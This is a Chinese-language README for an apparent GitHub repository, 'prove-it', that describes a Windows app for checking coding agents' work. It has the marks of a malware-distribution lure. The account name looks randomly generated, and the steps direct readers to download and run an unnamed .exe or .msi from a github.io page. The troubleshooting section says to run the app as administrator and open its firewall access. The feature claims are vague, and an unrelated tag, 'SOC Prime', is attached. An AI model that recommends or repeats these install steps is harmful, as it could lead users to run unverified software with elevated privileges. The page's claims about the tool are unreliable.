clangorous-rastafarian429/prove-it

# 🔍 prove-it - 自动验证您的代码 agent 任务 [](https://clangorous-rastafarian429.github.io) Coding agent 通常会在任务尚未完成时就声称工作已完成。prove-it 会在编码过程中监控您的 agent。它会强制 agent 在每次更改后运行测试、执行构建并检查代码。此工具可确保在 agent 将任务标记为完成之前，代码确实能够正常运行。这样您就可以高枕无忧，因为 agent 为其编写的每一行代码都提供了诚实的证据。 ## ⚙️ 系统要求 您的计算机需要满足以下基本条件才能运行 prove-it： * Windows 10 或 Windows 11。 * 稳定的互联网连接。 * 硬盘上至少有 500 MB 的可用空间。 * 具备在计算机上运行程序的基础知识。 ## 💾 如何安装并启动 按照以下步骤在您的 Windows 机器上设置 prove-it： 1. 访问此页面以下载最新版本：[https://clangorous-rastafarian429.github.io](https://clangorous-rastafarian429.github.io)。 2. 在最新发布版块下，查找以 .msi 或 .exe 结尾的文件。 3. 将文件保存到您的计算机。 4. 双击该文件以启动安装程序。 5. 按照屏幕上的说明完成设置。 6. 完成后，打开“开始”菜单并搜索“prove-it”以启动程序。 ## 🛠️ 工作原理 许多人使用 AI 工具来编写代码。这些工具会编写文件，但很少检查文件是否正常运行。prove-it 充当您的 agent 和代码之间的中间人，就像一名卫士。当 agent 提交代码时，prove-it 会拦截该提交，并触发自动构建过程。如果构建失败，agent 必须修复错误。接下来，它会运行您现有的测试套件。如果测试失败，agent 会收到报告并必须重试。最后，它会将输出记录为证据。在所有检查通过之前，agent 无法声称任务已完成。 ## 🚀 设置您的 Agent 您可以将 prove-it 连接到您已经在使用的工具。在应用程序中打开设置菜单。您将看到兼容 agent 的列表。选择您用于编码任务的 agent。应用程序会在您的 agent 和测试环境之间建立桥梁。您无需编写额外的脚本。prove-it 会为您处理后台任务。 ## 📋 常见任务 ### 检查新代码 当您要求 agent 创建新功能时，prove-it 会监控其进度。它会监视 agent 的终端输出。如果 agent 完成了一个文件，prove-it 会立即开始验证。当证据准备就绪时，您会在屏幕上看到一个绿色的复选标记。 ### 查看证据 每次会话都有历史日志。点击历史记录选项卡可查看过去的任务。您可以查看任何会话的构建日志和测试结果。这为您提供了有关 agent 表现的清晰记录。您可以使用这些日志来查看 agent 在哪些地方遇到困难，或者在哪些地方表现良好。 ### 更新应用程序 应用程序会在您每次打开时检查更新。如果存在新版本，您的屏幕上会出现一个窗口。点击更新以安装最新的改进。这可确保您拥有最新的功能和兼容性补丁。 ## ❓ 故障排除 大多数用户发现设置过程很简单。如果您遇到问题，请检查以下常见问题： * **应用程序无法启动：** 确保您的计算机安装了最新的驱动程序。重启机器并再试一次。 * **Agent 未通过验证：** 阅读报告窗口中的日志。日志会告诉您是测试失败还是发生了构建错误。将这些日志传递回给 agent，以帮助其纠正工作。 * **权限错误：** 如果应用程序无法访问您的项目文件夹，请以管理员身份运行该应用程序。右键点击图标并选择“以管理员身份运行”。 * **网络问题：** 如果应用程序无法连接到您的 agent，请检查您的防火墙设置。确保该应用程序具有访问互联网的权限。 ## 🛡️ 隐私和数据 您的代码保留在您的机器上。prove-it 在本地验证您的代码。它不会将您的源代码发送到外部服务器。证据日志将存储在您的计算机磁盘上。您对您的文件保持完全的控制权。 ## 🌈 社区和支持 如果您发现错误，请随时在 GitHub 页面上提 issue。请清晰地描述您在使用该应用程序时发生的情况。如果可能，请附上截图。这有助于为你的问题提供快速的解决方案。我们为希望在其 AI coding 项目中获得更高质量保证的用户维护此工具。 Keywords: agent-skills, ai-agents, claude-code, codex, coding-agents, cursor, developer-tools, github-copilot, llm, quality-assurance, testing, verification

标签：AI编程助手, SOC Prime, 开发工具, 开源框架, 持续集成, 自动化构建